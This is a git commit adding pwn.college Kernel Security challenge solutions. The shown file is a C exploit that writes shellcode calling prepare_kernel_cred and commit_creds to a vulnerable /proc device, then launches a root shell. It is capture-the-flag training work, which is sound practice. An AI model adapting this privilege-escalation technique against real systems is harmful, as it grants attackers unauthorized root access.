Added Level 3.0 ~ 8.1 of KernelSecurity in PwnCollege

This commit is contained in:
Jack Ren
2024-09-27 16:13:01 +08:00
parent 41c959a465
commit d615165639
11 changed files with 188 additions and 0 deletions

View File

@@ -0,0 +1,24 @@
#include <stdlib.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
__attribute__((naked))
void shellcode() {
asm volatile(
"xor %rdi, %rdi\n"
"movabs $0xffffffff81089660, %rsi\n"
"callq *%rsi\n" // prepare_kernel_cred
"movq %rax, %rdi\n"
"movabs $0xffffffff81089310, %rsi\n"
"callq *%rsi\n" // commit_creds
"retq\n"
);
}
int main() {
int fd = open("/proc/pwncollege", O_WRONLY);
write(fd, (void *)shellcode, 0x1F);
execve("/bin/bash", NULL, NULL);
}